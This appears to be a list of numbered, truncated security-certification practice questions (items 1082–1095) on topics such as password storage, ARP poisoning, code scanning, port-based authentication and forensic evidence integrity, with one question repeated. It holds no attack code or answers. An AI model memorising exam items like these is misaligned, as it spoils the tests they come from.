  1082. A company discovers suspicious transactions that were entered into the company's database and attached to a user account that was created as a trap for maliciou ...
  1083. Which of the following is a strategy to protect stored passwords?
  1084. A software development team tests a new feature that processes user-uploaded files. A security engineer is concerned that attackers might upload malicious files ...
  1085. A company processes a large volume of business-to-business transactions and prioritizes data confidentiality over transaction availability. The company's firewa ...
  1086. A company processes a large volume of business-to-business transactions and prioritizes data confidentiality over transaction availability. The company's firewa ...
  1087. While a school district is performing state testing, a security analyst notices all internet services are unavailable. The analyst discovers that ARP poisoning ...
  1088. A university uses two different cloud solutions for storing student data. Which of the following does this scenario represent?
  1089. Which of the following best represents how frequently an incident is expected to happen each year?
  1090. A security analyst investigates an incident in which a PowerShell script was identified as a potential IoC. Which of the following will best help the analyst id ...
  1091. A software engineering manager wants to scan the code for security vulnerabilities before it is pushed into production. Which of the following types of analysis ...
  1092. An organization plans to increase security controls for devices that connect to its internal network. The additional security control must perform port-based au ...
  1093. A company relies on open-source software libraries to build the software used by its customers. Which of the following vulnerability types would be the most dif ...
  1094. Which of the following technologies must be used in an organization that intends to automate infrastructure deployment?
  1095. Which of the following elements of digital forensics should a company use if it needs to ensure the integrity of evidence?